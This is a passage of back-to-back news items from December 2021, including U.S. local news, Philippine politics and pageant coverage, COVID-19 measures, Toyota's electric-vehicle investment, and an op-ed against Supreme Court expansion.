counties with limited manpower, Poloncarz said, Erie County is trying to get everyone to follow the rules. "There's a very vocal minority of folks that is against masking, but the majority of folks understand it," he said. He also pointed out that Erie County's positive test rate remains lower than all surrounding Western New York counties, which he attributed to the local mask mandate's success. While Erie County hospitals, overall, are 90% full, he said, some hospitals in other Western New York counties are so full that they've had to divert patients to other counties and other states. "We want people to understand this is a regional issue," he said. OLAF FUB SEZ: According to comedian Tim Conway, born on this date in 1933: I spend a lot of time thinking of the Hereafter each time I enter a room I wonder what Im here after. . . . FIRST TIME OUT Nusantara Arts introduces its new set of Indonesian bronze gamelan instruments in a concert at 7 p.m. Thursday in St. Johns Grace Episcopal Church, 51 Colonial Circle. Guest artist is noted Javanese drummer Pak Wakidi Dwidjomartono. Tickets are $20, $10 students, $15 to see the show streaming beginning Dec. 23. Visit nusantaraarts.networkforgood.com. . . . PENS IN HAND Historian and teacher Eva M. Doyle will sign copies of her newly-published 12th book, Eye on History: The Golden Articles on African and African American History, from 1 to 2:30 p.m. Saturday in the Golden Cup Restaurant, Jefferson Avenue and East Utica Street. Books are $16.99 paperback, $28.99 hardcover. Dean, 37, resigned from the city police force two days after shooting Jefferson. He was charged with murder and released on a $200,000 bond. Following the shooting, Fort Worth police released body camera footage that showed Dean walked around the side of the house, pushed through a gate into the fenced-off backyard and fired through a window a split-second after shouting at Jefferson to show her hands. Police went to the house after a neighbor called a non-emergency line to report that the front door was ajar. Dean, who is white, was not heard identifying himself as police on the video. The citys police chief at the time, Ed Kraus, said Dean acted without justification and that there was no sign he or the other officer who responded even knocked on the front door. Kraus said Dean would have been fired if he had not quit without giving a statement to investigators. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Survey results out of the Town of Cheektowaga confirm what is seen in polling. Most respondents in a town-run online survey voiced support for both retail sales establishments and on-site consumption establishments. Like the state at large, many of the survey respondents recognized prohibition failed and a new approach was needed. To my mind, opting out of allowing the retail sales and on-site consumption establishments will not prevent the use of the substance. It will not prevent possession of the substance and it will not hinder market activity. What opting out will do is put up barriers to the legal and regulated market being able to supplant and set the standards in the cannabis market. In a regulated market, consumers will have more information about what they are buying and what the contents are. Like the liquor stores and bars, those buying product in cannabis shops will be able to know what they are paying for. We should work together to help individuals with substance abuse issues to overcome their addictions. Substance abuse is a public health issue and should be treated accordingly, not as a criminal matter. Ending prohibition of cannabis was the right move. The Town of Cheektowaga will be listening to the will of the majority on this issue and allow retail cannabis sales. Brian Nowak is a Council member in the Town of Cheektowaga. After some frequent nuisance showers into early Wednesday evening, along with an increasing southerly breeze ushering in a warming trend, strong winds will be returning to Western New York on Thursday. No, it will not be deja vu all over again, as these strong winds will fall a little shy of true high wind criteria (gusts over 58 mph). On Thursday, another powerful low pressure system will be tracking north and west of us, but this time at a greater distance, which will lessen the pressure gradient. With that in mind, the Buffalo National Weather Service has issued a wind advisory rather than a high wind warning for the Niagara Frontier and Chautauqua County Thursday and Thursday night. Looking at this next storm system, its not that hard to see why it will bring us strong winds even on its more distant track. The central pressure is projected to be just as low as the Friday-Saturday monster, 976 millibars. DUBLIN, December 15, 2021--(BUSINESS WIRE)--The "Healthcare Artificial Intelligence Market - Forecasts from 2021 to 2026" report has been added to ResearchAndMarkets.com's offering. The healthcare artificial intelligence market is projected to grow at a CAGR of 39.97% to reach US$36.222 billion by 2026 from US$3.441 billion in 2019. Artificial Intelligence essentially uses machine learning algorithms and deep learning to gather and process data and furnish it to the end-user. The foremost aim of using healthcare artificial intelligence is to scrutinize relationships between prevention techniques and patient results. It is thus used to analyze a chunk of data through Electronic Health Records to prevent disease. A major reason for the growth of this market is the increase in the number of chronic diseases and fewer health care facilities available. According to the World Economic Forum report, "One in three adults worldwide has multiple chronic conditions: cardiovascular disease alongside diabetes, depression as well as cancer, or a combination of three, four, or even five or six diseases at the same time. NCDs represent more than half the global burden of diseases. With the spread of such chronic diseases, globally, the health care industry has recognized the importance of healthcare artificial intelligence. Artificial Intelligence will help to monitor and diagnose the patient status efficiently and effectively and will also enable efficient follow-ups. The technological advances and funding by both the private and public sectors are expected to drive the demand for this market in the forecast period. There have been numerous technological advances in the field of Artificial Intelligence, globally. Many pharmaceutical companies are constantly working on up-gradation. Many health care artificial intelligence startups are encouraged across the world. Talking about Asia, in China, many startups are benefited from the government's strategic development plans. Story continues The Chinese government is constantly promoting private-public partnerships. Recently, a Chinese artificial intelligence health care startup synyi raised US $ 36.3 million. Similarly, icarbonX received funding of US$ 200 million from various investors to expand its scope of advanced artificial intelligence to cure diseases. The government of India is also funding the various AI programs and has also collaborated with the Ministry of Electronics and Information Technology (MeitY), the National E-Governance Division (NeGD), and the National Association of Software and Service Companies (NASSCOM) to build the AI healthcare future. North American countries have also invested a lot of funds into the healthcare AI market. The global technology revolution is at pace, Electronic health record machines are enhancing, the global health care AI market is expected to flourish. Artificial Intelligence Health care is expected to add value in various administrative and operational clinics. It is also expected to promote social distancing by reducing human contact and protecting public and health care staff by minimizing the time spent on claim processing. Due to the surge of COVID-19, many AI-POWERED cameras are deployed in Singapore to reduce the need for the workforce required to check the one-to-one temperature. COVID-19 has surely moved people to focus on their personal health and adopt technologically driven health care methods. Key Topics Covered: 1. Introduction 1.1. Market Definition 1.2. Market Segmentation 2. Research Methodology 2.1. Research Data 2.2. Assumptions 3. Executive Summary 3.1. Research Highlights 4. Market Dynamics 4.1. Market Drivers 4.2. Market Restraints 4.3. Porters Five Forces Analysis 4.4. Industry Value Chain Analysis 5. Healthcare Artificial Intelligence Market Analysis, by Offering 5.1. Introduction 5.2. Hardware 5.3. Software 5.4. Services 6. Healthcare Artificial Intelligence Market Analysis, by Application 6.1. Introduction 6.2. Medical Imaging and Diagnostics 6.3. Precision Medicine 6.4. Lifestyle Management and Monitoring 6.5. Virtual Assistant 6.6. Wearables 6.7. Inpatient Care and Hospital Management 6.8. Drug Discovery and Development 6.9. Research 7. Healthcare Artificial Intelligence Market Analysis, by Geography 7.1. Introduction 8. Competitive Environment and Analysis 8.1. Major Players and Strategy Analysis 8.2. Emerging Players and Market Lucrativeness 8.3. Mergers, Acquisitions, Agreements, and Collaborations 8.4. Vendor Competitiveness Matrix 9. Company Profiles Caption Health, Inc. Intel Corporation NVIDIA Corporation Google IBM Watson Health Enlitic, Inc. Lumiata AiCure, LLC Butterfly Network, Inc ICarbon X For more information about this report visit https://www.researchandmarkets.com/r/psjhx4 View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005859/en/ Contacts ResearchAndMarkets.com Laura Wood, Senior Press Manager press@researchandmarkets.com For E.S.T Office Hours Call 1-917-300-0470 For U.S./CAN Toll Free Call 1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 By Ingrid Melander and Tassilo Hummel PARIS (Reuters) - French President Emmanuel Macron said on Wednesday it was possible the COVID-19 vaccine would eventually be made compulsory in France, but said it was not the priority for now. Like its European neighbours and countries across the globe, France is scrambling to find ways to contain a fresh surge in the pandemic. France's seven-day average of new infections is at its highest since November 2020. Asked in an interview with TF1 and LCI television stations if COVID-19 vaccination could become mandatory in France, Macron said: "This hypothesis exists." But he quickly added that France was "almost there," in practice. With nearly 90% of eligible people in France already vaccinated, France was not far from the level of take-up that would be achieved by making the jab mandatory, he said. First and foremost, he encouraged those who have not had a jab yet to get it done. "There are a little more than 5 million of our fellow citizens who are not vaccinated and therefore really, I call on them to take responsibility because they are not protected and we see many cases today in hospital ... who have not been vaccinated." "Vaccinate, vaccinate, vaccinate: this is the first pillar," he said in the interview, which was recorded on Sunday and broadcast on Wednesday. For children aged 5 to 11, vaccinations were desirable but "it will be up to the parents," he said. Macron declined to rule out imposing new restrictions over Christmas, saying "one always needs to be cautious on such issues." He also said he expected hospitals to be under a lot of pressure over the holidays, because of the high number of COVID-19 cases. France is considering introducing mandatory PCR tests for all travellers entering the country from Britain, where infections linked to the Omicron variant are surging, a French government source said earlier on Wednesday. (Reporting by Elizabeth Pineau and Tassilo Hummel; Writing by Ingrid Melander; editing by Christian Lowe) Metro Manila (CNN Philippines, December 15) Filipinos sent home more money for the ninth straight month this October, Bangko Sentral ng Pilipinas figures released Wednesday show. The BSP reported $3.11 billion in remittances during the month, representing a 2.4% annual increase. However, the latest pace is slower than the 2.4% increase logged in September and 2.5% spike in October 2020. Still, the latest tally brought cumulative remittances to $28.81 billion rising by 5.4% from the same period last year. The central bank said land-based workers with contracts lasting at least a year sent home $2.44 billion, or a 2.8% jump. Remittances from short-term seafarers and land-based laborers were nearly flat at $615 million, compared to $612 million in October last year. Most remittances for the period once again hailed from the United States. Other major sources were Singapore, Saudi Arabia, Japan, the United Kingdom, the United Arab Emirates, Canada, Taiwan, Qatar, and South Korea. Overseas Filipinos typically send back more money to their loved ones during the holiday season. Often considered one of the major income sources of households, remittances help boost consumer spending and in turn, economic activity. The BSP expects remittances to grow by 6% this 2021, up from its previous 4% forecast. Metro Manila (CNN Philippines, December 15) Miss Universe Philippines Beatrice Gomez did not expect a "political question during the Question and Answer segment for the Top 5 finalists of the competition held last Monday. In a presser on Tuesday, the 26-year-old Cebuana beauty revealed what she felt when she was asked for her sentiment on mandating a universal COVID-19 vaccine passport. RELATED: PH's Beatrice Gomez bats for mandatory COVID-19 vaccination on Miss Universe stage "Hindi ko po actually in-expect na yung mapupuntang question sa'kin is political. So nagdadalawang-isip ako how I should answer the question," Gomez said. "Inisip ko na lang core values ko, yung paghuhugutan ko ng sagot." [Translation: I actually did not expect that the question for me would be political. I had second thoughts on how I should answer the question. I just reflected on my core values, the source of my answer.] "Pero for me, na-deliver ko po yung answer na gusto kong isagot," she added. [Translation: But for me, I delivered the answer that I wanted to provide.] RELATED: READ: Miss Universe 2021 Q&A full transcript During the Q&A segment, Gomez answered that public health "is everyone's responsibility" and mandating vaccination against COVID-19 is necessary. "If mandating vaccine passport would help us in regulating the rollout of vaccine and mitigate the situation of the pandemic today, then I would agree on mandating the necessary passport of vaccination," she added. Gomez failed to enter the Top 3 during the pageant's coronation night in Israel last Monday. India's Harnaaz Sandhu won the crown. Gomez bared that while she really wanted the Miss Universe title, she had "no regrets" because she gave her all. She also expressed gratitude for the opportunity to overcome self-doubt as she competed in the pageant. "There was a time that I also doubted myself, especially when you see the comments online. You begin to doubt yourself somehow...Pero (But) its different when you yourself is confident sa ginagawa mo (about what you are doing)," Gomez shared. "You never really should let anyone affect your beliefs. Kung maniniwala ka sa sarili mo, ma-a-achieve (If you believe in yourself, you will achieve) your goals in life." Metro Manila (CNN Philippines, December 15) Congress on Wednesday approved the proposed 5.024-trillion budget for 2022 and will send it to President Rodrigo Duterte for signing into law. It was the last day of Congress as lawmakers go on break for the holidays. The 2022 national budget the highest spending plan in Philippine history is intended to fund the COVID-19 response as well as programs that will help lift the economy amid the global health crisis. The bicameral conference committee report has resolved conflicting provisions between the Senate and House versions of the budget bill, including that on the allocation of funds for the controversial National Task Force to End Local Communist Armed Conflict (NTF-ELCAC). Under the new version, the NTF-ELCAC was given a proposed budget of around 17 billion. Senate Minority Floor Leader Franklin Drilon questioned the proposed amount since 10.5 billion of it is unprogrammed, meaning the government would have to source it from loans if the country fails to meet its revenue targets. Its quite unfortunate that our capacity to borrow would be utilized for a program like NTF-ELCAC, said Drilon right before the chamber ratified the report. The Senate finance committee earlier proposed to slash the task forces budget down to P4 billion from the 28 billion initially pushed by the Executive. It later increased to 10.8 billion in the Senates third reading version of the measure. Also included in the proposed measure is a 47.8-billion budget for booster vaccine doses and nearly 50 billion for health workers' special risk allowance. READ: Bicam report on 2022 budget: 47.8B for booster shots, nearly 50B for SRA CNN Philippines correspondents Xianne Arcangel and Eimor Santos contributed to this report. Metro Manila (CNN Philippines, December 15) The Senate and the House of Representatives reached a compromise on their proposed budget for the Duterte administration's controversial anti-communist insurgency task force next year. Under the bicameral conference committee report signed by the Senate and House contingents on Wednesday, 17 billion is allocated to the National Task Force to End Local Communist Armed Conflict (NTF-ELCAC). The Senate's third reading version of the 2022 budget bill slashed the funds for NTF-ELCAC to 10.8 billion, down from the 28 billion proposed by the executive and adopted by the House. "Nagkaroon na lang kami ng compromise (We just had a compromise)," Rep, Eric Yap, chairman of the House Committee on Appropriations, told reporters after the bicam meeting in Mandaluyong. He said it's "good enough," since it's close to the 19 billion allocation for the NTF-ELCAC this year. Lawmakers target to ratify the bicam report during their plenary sessions at the House and Senate on Wednesday afternoon. Asked if he expects a smooth ratification in the Senate considering the contentious increase in the NTF-ELCAC budget, Sen. Sonny Angara, chairman of the Senate Committee on Finance, said questions are expected. "Well, in the Senate it's not as fast as the House," Angara said. "The senators really ask a lot of questions," he added. "They want to know the details so expected namin there will be questions talaga (there will really be questions)." Angara said there were cuts in the proposed budget for the Department of Transportation, a portion of whch was reallocated by the bicam to the NTF-ELCAC. He did not give exact figures. A number of lawmakers have criticized the billions given to NTF-ELCAC this year amid the COVID-19 pandemic. The Senate finance committee earlier reduced its budget to only 4 billion, citing the lack of report on how it spent its 16 billion barangay development projects this year. Metro Manila (CNN Philippines, December 15) The party that fielded Senator Bong Go and President Rodrigo Duterte for key posts in the 2022 polls said it was not informed of their plan to withdraw their candidacies. "Na-ninja move tayo (We were caught off guard). We were waiting here for two weeks but you know they made their decision," Greco Belgica, president of the Pederalismo ng Dugong Dakilang Samahan (PDDS), told reporters on Wednesday. Belgica, however, stressed that the PDDS will support the candidate who will be endorsed by the chief executive for next year's elections. "It's a party decision and the President and Sen. Bong Go are members and the leaders of our party. We vow to support whoever they will endorse in the coming elections," he said. In a surprise move, Duterte filed his certificate of withdrawal before the Commission on Elections Tuesday afternoon just hours after Go officially dropped his presidential bid. Malacanang said Duterte will be retiring to spend more time with his family, adding that the move will help him focus on COVID-19 response efforts and election preparations. Meanwhile, the PDP-Laban faction which Duterte and Go are a part of is also left with no standard bearers for the polls. The group headed by Energy Secretary Alfonso Cusi said it is also still awaiting Duterte's endorsement for the presidency. CNN Philippines correspondent Melissa Lopez contributed to this report. Metro Manila (CNN Philippines, December 15) For some sectors in Mindanao, elections down south have been associated with guns, goons, and gold, but they believe the new Bangsamoro will have the chance to change the narrative as it holds its first poll in three years. "Rightly or wrongly, the region has been accused of being the 'cheating capital' in the country during elections," MindaNews journalist Carolyn Arguillas said in a forum on Tuesday. "The region has been dubbed vote bank or reservoir of votes, for candidates of national elections who want to win due to its command votes, controlled votes, captive votes," she added. Salic Ibrahim executive director of Maranao People Development Center Inc. and chair of Citizens Care said based on monitoring trends, the votes of citizens do not really reflect the real choice of the people. "Yung boto na lumalabas, 'yung conduct during the elections, based siya doon sa behaviors ng election actors. Based doon sa sino yung lumalabas ng pera, anong klaseng tao yung lumalabas ng pera. Halimbawa yung may pera siya, o armado siya," he said. [Translation: The votes reflect the behaviors of election actors. Anyone who has the money, the resources, and the weapon, it really defines who that politician is.] He added that cheating strategies evolved as the country moved to automated elections. Murad Ebrahim first and interim Chief Minister of the Bangsamoro region explained that all candidates will undergo a strict screening process to ensure they don't have previous corruption cases. He also said they are now preparing programs and identifying volunteers for their election. "Ngayon palang nago-organize na kami ng mga tao na voluntary mag-serve parang watchdogs, aside from those authorized by the Comelec (Commission on Elections)," he said. [Translation: We are already organizing volunteers to serve as watchdogs, aside from those authorized by Comelec.] Attorney Abdel Jamal Disangcopan, who works in the Bangsamoro Transition Authority (BTA), highlighted the current crop of 80 Members of the Parliament (MPs). "There are new leaders being introduced to the region that are outside of the current crop of politicians. There are more choices for the people, and these MPs are of a varied mix of professionals and stakeholders, to which that people can relate," he said. Disangcopan also emphasized that the BTA has doubled up on its constituency building and began heading to communities in the provinces to raise awareness on the parliament's role and achievements. "It is too early to tell if changes can be seen immediately, but the elections could be one way to test these efforts of the BTA to make it closer to the people," he said. The creation of the Bangsamoro autonomous region has raised hopes for a shot at genuine self-governance that its people have been fighting for for decades. Tacloban City (CNN Philippines) Several local governments in Visayas and Mindanao implemented preemptive evacuation on Wednesday ahead of the expected wrath of severe tropical storm Odette. Eastern Samar provincial administrator Nelson Cortez said the weather was calm as of Wednesday morning, and it was like the situation before Super Typhoon Yolanda hit their province in November 2013. Several residents in the municipalities of Guiuan and Salcedo in Eastern Samar and Cabucgayan town in Biliran province evacuated. Some families in Abuyog town in Leyte province also voluntarily fled to safety. Guiuan Mayor Annaliza Gonzales-Kwan said authorities are enforcing forced evacuation on residents living along coastal areas. The local government also has started preparing food packs, which will be distributed to families who evacuated. As of 5 p.m., 1,283 families, or 4,296 individuals, have been moved to 20 evacuation sites, she told CNN Philippines. Surigao del Sur Governor Alexander Pimentel told CNN Philippines that the provincial government is also enforcing forced evacuation. He said over 1,700 families have sought shelter in safer grounds, adding residents are more cooperative now. "Okay naman 'yung mga tao rito. Automatic kapag may warning kami, tumutupad na. Di kamukha noong araw," he said. [Translation: The people here are okay. Unlike before, they automatically follow when we issue warning.] Odette is expected to intensify into a typhoon on Wednesday and make landfall in the vicinity of Eastern Visayas-Caraga on Thursday, the Philippine Atmospheric, Geophysical and Astronomical Services Administration said. Tacloban-based journalist Wil Mark Amazona contributed to this report. (CNN) Toyota is pumping more than $35 billion into electric vehicles as it tries to catch up with other global automakers in the race to cleaner cars. The world's biggest carmaker announced Tuesday that it would invest 4 trillion yen ($35.2 billion) in developing battery-powered electric vehicles between 2022 and 2030 in a bid to mount a more serious challenge to rivals such as Tesla, GM and Volkswagen. A large chunk of that money will go toward the batteries themselves, with the Japanese company committing another half trillion yen ($4.4 billion) to the technology on top of 1.5 trillion yen ($13.2 billion) previously announced. The automaker currently sells just a few thousand battery electric vehicles each year. But it now plans to roll out as many as 30 new models by 2030, with the aim of selling 3.5 million such vehicles per year by 2030, Toyota President Akio Toyoda said at a press briefing in Tokyo. That would be over a third of the company's sales last fiscal year, which totaled roughly 9 million vehicles worldwide. The Lexus luxury brand is a huge part of the new plan, with Toyota projecting 1 million global EV sales by 2030. Toyota wants all Lexus sales in Europe, North America and China to be battery-powered electric vehicles by the end of this decade, and globally by 2035. Catching up While Toyota has been a pioneer in hybrid and even hydrogen fuel cell-powered vehicles, it has been much slower than some other major automakers to expand into the fully-electric vehicle market. Electric vehicles, including hybrid and fuel cell cars, accounted for nearly 28% of the company's sales in the six months ended September. But battery-powered electric cars were a tiny component of that, making up just 0.1% of total sales. In the early 2000s, one of Toyota's most recognizable hybrids, the Prius, was received with the sort of excitement and wait lists now seen for Tesla models. Other automakers were criticized for not making similar models at the time. Almost 20 years after the sensation, however, it is Toyota that is playing catchup in fully-electric cars and SUVs. Standing in front of more than a dozen electric vehicles on Tuesday, Toyoda called the new lineup "our showroom of the future" and said the manufacturer would also seek to make its factories carbon neutral by 2035. That moves up a previous pledge from the company to become carbon neutral by 2050, which means its cars and production processes will not add carbon dioxide to the Earth's atmosphere. Other industry players, such as GM and Mercedes, have made similar pledges. "The future that we showed you today is by no means far away," Toyoda told reporters, adding that most of the models shown Tuesday would be released over the next few years. But competition is intensifying. Just last week, Volkswagen announced that it would raise its budget for electric vehicles, to $100 billion. The German behemoth, which has long been virtually neck and neck with Toyota in global sales, also said it hoped that 25% of its vehicle sales worldwide would be electric by the end of 2026. Red-hot demand EV batteries are also becoming a hot topic among investors elsewhere in Asia. This month, LG Energy Solution, a battery supplier for the likes of Hyundai and Siemens, announced it would go public in South Korea, with the goal of raising up to 12.75 trillion won ($10.8 billion). The market debut, which is expected to take place in January, would be the country's biggest initial public offering on record, according to Dealogic. In a statement, LG Energy Solution CEO Young Soo Kwon said that the company's IPO was about "preemptively responding to the demand for the lithium-ion battery industry, expected to see rapid growth." Peter Valdes-Dapena contributed to this report. This story was first published on CNN.com, "Toyota is spending $35 billion on electric cars to close gap on rivals." Metro Manila (CNN Philippines, December 15) Philippine bet Tracy Maureen Perez made it to the top five of Miss World's Beauty with a Purpose challenge for her advocacy that seeks empower solo parents. The pageant organization will also fund her project, Perez said Wednesday. "Philippines!! We made it to the top 5 of the BWAP final round. Miss World Organization will also be coming to the Philippines to fund my project," she said in an Instagram post. "Mommy Chona, this is for you and to all the solo parents out there." The Beauty with a Purpose challenge highlights the advocacy and charity projects of each candidate. Perez's project "Para Kay Nanay (For My Mother): A Single Mother's Journey to Love" is dedicated to her late mother and to all single mothers in her community in Cordova, Cebu. One of the objectives of her project is to provide solo mothers with training for business process outsourcing industry and computer skills, livelihood training, and health-and-wellness activities. The 28-year-old Cebuana beauty already secured a spot in the Top 30 after winning the second round of Head to Head challenge. Perez is vying for the country's second Miss World crown after Megan Young in 2013. CNN Philippines will air the coronation night of the Miss World pageant on Friday, Dec. 17 at 8:30 a.m. Catch the network's pre-pageant special at 8:00 a.m. with CNN Philippines' senior anchor Pinky Webb. Metro Manila (CNN Philippines, December 15) Miss Universe Philippines Beatrice Gomez sent well-wishes to fellow Cebuana Tracy Maureen Perez, the country's bet to the upcoming Miss World 2021 pageant. "I know Tracy as a very strong woman, shes very independent," Gomez told the media in a press conference on Tuesday, after battling it out on the Miss Universe stage. Gomez ended her journey in the Top 5 during the coronation night held in Israel on Monday. India's Harnaaz Sandhu won the crown. READ: PH's Beatrice Gomez ends Miss Universe 2021 run, hailed for Top 5 entry Gomez is optimistic about Perez's chances of winning, noting that the latter was giving her advice when she joined the local pageant scene. "She was raised by a single mom. Shes had a challenging life but she was able to overcome it. She became stronger each year despite not achieving the titles she wanted," Gomez said. "I know Tracy is very determined, especially she won the national round. Im hopeful na manalo siya sa (that she would win in the) international round this time," she added. Perez will raise the Philippine flag in the Miss World 2021 pageant, which will be held in Puerto Rico on Dec. 16 (Dec. 17 in Manila). Perez secured a spot in the Top 30 of the competition after winning the first round of the head-to-head challenge. If she wins, it will be the second Miss World title of the country after Megan Young brought home the crown in 2013. CNN Philippines will air the coronation night of the Miss World pageant on Friday, December 17 at 8:30 AM. Catch our pre-pageant special at 8:00 AM with our senior anchor Pinky Webb. Metro Manila (CNN Philippines, December 15) The country has detected its first two cases of the Omicron coronavirus variant, the Department of Health (DOH) confirmed on Wednesday. In a statement, the DOH said the two cases both international travelers are currently isolated in a facility under the Bureau of Quarantine. The report came following the latest genome sequencing of 48 samples on Tuesday. The first Omicron case is a returning overseas Filipino who arrived from Japan on Dec. 1 via a Philippine Airlines flight. The patient had coughs and colds upon arrival but is now asymptomatic, the Health department said. The second case is a Nigerian national who arrived on Nov. 30 via an Oman Air flight, it also said, adding that the patient is also currently asymptomatic. The government is conducting active case finding and tracing for possible close contacts of the cases during their flights. Get vaccinated, get boosters Government officials, meanwhile, encouraged Filipinos to get their COVID-19 shots as soon as they can. "We assure our people that we will closely monitor developments of the two cases in light of existing protocols, as we continue to remind the public not to let their guard down, to religiously observe minimum public health standards, and call upon all those unvaccinated to get their jabs as soon as possible," acting presidential spokesperson Karlo Nograles said in a statement. Health Secretary Francisco Duque also called on the public to sign up for boosters. "Of course, we should all be alarmed. That is why, kinakailangang magpabakuna na po tayo," Duque told reporters. "Magpa-booster shot tayo doon sa mga nakatapos na." [Translation: Of course, we should all be alarmed. That is why we need to get vaccinated. For those with complete doses, let's take our boosters.] More Delta cases Apart from the Omicron cases, authorities also detected 33 Delta variant cases in the latest sequencing run which was composed of samples from returning Filipinos, local cases from areas with clusters, and a foreign national. Of this number, 14 are returning Filipinos while 19 are local cases. There are now a total of 7,919 confirmed Delta cases in the country. CNN Philippines' Tristan Nodalo contributed to this report. (CNN) The White House will dramatically scale back holiday party festivities this year due to ongoing COVID-19 concerns, opting instead for smaller open house-style events. "In the coming days, we will host a limited number of Holiday Open Houses, inviting guests to see the Christmas decorations in person at the White House," US first lady Jill Biden's press secretary Michael LaRosa told CNN. The invitation-only open houses will be timed to 30-minute intervals per guest, with self-guided tours of the holiday decorations, a person familiar with the party protocols told CNN. Guests will also be required to take a COVID-19 test within 48 hours prior to their visit if they cannot attest to being fully vaccinated. Typically, the US President and first lady can host several dozen events during the holiday season, sometimes making appearances at more than one per day. In the past, these parties have offered a festive opportunity to entertain staff, friends, donors, congressional members and staff, agencies, media, and members of the United States Secret Service. "Anyone who knows the Bidens knows how much they enjoy hosting and celebrating the holidays," said LaRosa. "It is disappointing that we cannot host as many people as the Bidens would like to; but as we have done since Day 1 of the Biden Administration, we will continue to implement strong COVID protocols, developed in consultation with our public health advisers." On Tuesday, White House press secretary Jen Psaki addressed the White House holiday entertaining guidelines, saying, "Obviously, we're still in the middle of a pandemic. We're still taking precautions as it relates to large events." In 2020, then-US President Donald Trump and first lady Melania Trump flouted the COVID-19 protocols and gathering restrictions in place at the time, hosting more than a dozen holiday events at the White House. This story was first published on CNN.com "White House scales back holiday parties due to Covid concerns" For the second year in a row, the Columbus Community Christmas Dinner has been canceled thanks to the COVID-19 pandemic. Usually held at the Federated Church, 2704 15th St. in Columbus, on Christmas Day, this years event is not being held in order to limit potential COVID-19 exposure to vulnerable individuals, organizers said. Our church is so small and we put 200 people down there, elbow to elbow. It just scared the heck out of me, said Chris Dixon, a longtime organizer of the event. The Christmas Dinner had also been canceled in 2020 due to difficulty maintaining social distancing measures and, of course, virus exposure. Other co-organizer, Charles Rogers, noted that many event attendees are older individuals and/or families with young children. It was canceled by the church because they don't want to expose all the people who come there to the virus, Rogers said. Although held at Federated Church, the event has been put together by community members; not all people involved are affiliated with the church. Rogers added that helping with the Christmas Dinner has become a family tradition for him. Usually my whole family does it, Rogers said. My friend brings his family, he's got a wife and three children, and they all come from Omaha and help me. Ive got a lot of family here in town, two daughters here in town and their children. They always helped me and they're all pretty unhappy about it. I think you gotta do what you gotta do and we don't want to expose, unnecessarily, people. Rogers noted that both his family and Dixons family have been taking part in the event for more than 40 years. One of his daughters, who is now an adult with children of her own, was just a baby when the event started, he said. It kind of disrupts our whole Christmas season because we really do enjoy doing it but I can understand their point, he added. We don't make a lot of people sick. And older people are really vulnerable to that thing (COVID). Dixon said organizers are hoping to be able to hold Columbus Community Christmas Dinner in 2022. We're looking forward to next year we're all thinking about next year but we just thought this year was just too much danger, Dixon said. Hannah Schrodt is the news editor of The Columbus Telegram. Reach her via email at hannah.schrodt@lee.net. Love 0 Funny 0 Wow 0 Sad 0 Angry 1 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Certain Columbus Public Schools (CPS) students may receive new textbooks following a proposal before the CPS Board of Education. On Monday, the board members heard a proposal regarding new social studies textbooks coming to the kindergarten through fourth grade which are geared toward the CPS curriculum. The board will vote on the matter during its Dec. 20 meeting. CPS Director of Curriculum and Instruction Amy Romshek presented to the board the proposal for textbooks -- which include subjects for civics, economics, history and geography -- totaling $188,614.33. As part of the proposal, fourth-grade students would receive a new Nebraska history book, The Nebraska Adventure. This portion would cost $36,924.88. Romshek said the current ones are around 15-years-old and have become very outdated and falling apart. Romshek added over 20 educators - ranging from kindergarten to fourth grade - who piloted the books beforehand said they prefer the new ones. Romshek said she along with CPS board members Mike Jeffryes and Mark Brown and Superintendent Troy Loeffelholz were at a meeting to examine the new materials. Jeffryes said through the meeting with the teachers, he's in favor of the new textbooks. Teachers unanimously picked this one, he said. They all loved it and its in the budget. Brown echoed Jeffryes' sentiments. It seems like great materials, Brown said. I probably need to brush up on my knowledge of Nebraska history. Loeffelholz added the Nebraska history textbooks will be a great resource for the fourth-grade classes. The Nebraska history books are really good, he said. I would recommend anybody who wants to review one because its nice and done. Romshek said this proposal is in line with a similar one voted on by the board last spring in which it approved new textbooks for social studies classes for fifth through 12th grade. Romshek also explained that each grade and subject has a priority standard. For example, in third-grade civics, the students are to learn about the structure and function of local government. Also at Monday's meeting, West Park Elementary School Principal Paula Lawrence told the board the activities going on at the school, 4100 Adamy St. Lawrence told the board members that the school has a three-level goal by creating a safe, supportive and collaborative culture, effective teaching in every classroom and a guaranteed and viable curriculum. For example, West Park created a golden ticket system in which students receive a ticket if they demonstrate that they are safe, respectful and responsible. The golden tickets are put in a weekly drawing where students can win prizes. Andrew Kiser is a reporter for The Columbus Telegram. Reach him via email at andrew.kiser@lee.net. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Earlier this month, eight months after President Biden created a group to study Supreme Court reform, the Presidential Commission on the Supreme Court of the United States finally released its report. The far left has been waiting eagerly for this moment for months. The Commission was created to appease members of the Democratic Party, who want to pack the Supreme Court with Justices who will ignore the Constitution in favor of a left-wing agenda. But instead of lending the fringe left the legitimacy they hoped for, the nearly 300-page report simply lays out the arguments for and against court packing, then makes no recommendation. In fact, the lawyers, professors, and former judges the president appointed were deeply divided on the issue of adding more Justices to our nations highest court. Even though 29 of the Commissions 34 members were liberals, they expressed their profound disagreement over whether Court expansion at this moment in time would be wise. Two conservative members even resigned in October. If you can believe it, many Democrats in Congress are fond of saying that expanding the Supreme Court for political reasons is actually unpacking it. Representative Jerry Nadler, a New York Democrat who serves as Chairman of the House Judiciary Committee, has claimed that unpacking the Court by expanding it would restore balance, and that Senate Democrats should immediately move to expand the Supreme Court. What he isnt saying is that Democrats are pushing for these changes simply because some Justices make decisions they dont like. Adding Justices to the Supreme Court is court packing, plain and simple. President Franklin Roosevelt explored the idea in the 1930s, after the Supreme Court struck down key parts of his New Deal. The Commissions report called his attempt to pack the Court a needless, futile, and utterly dangerous abandonment of constitutional principle. No president has been reckless enough or short-sighted enough to push for it since. President Biden notably said he was not a fan of court packing during his campaign. Then he backtracked and said he was open to the idea, giving into pressure from the far left wing of his party. He created this Commission instead, leaving the problem of taking a position on this issue for another, more politically convenient day. As the Commissions own report details, court packing is often used as a political weapon in authoritarian regimes not in the United States. In Venezuela, for example, Hugo Chavez cemented support for his socialist policies by expanding the countrys Supreme Tribunal of Justice from 20 members to 32 back in 2004. Look at all the good that did for what was once the wealthiest country in South America. We need to leave this practice to dictatorships, where it belongs. The 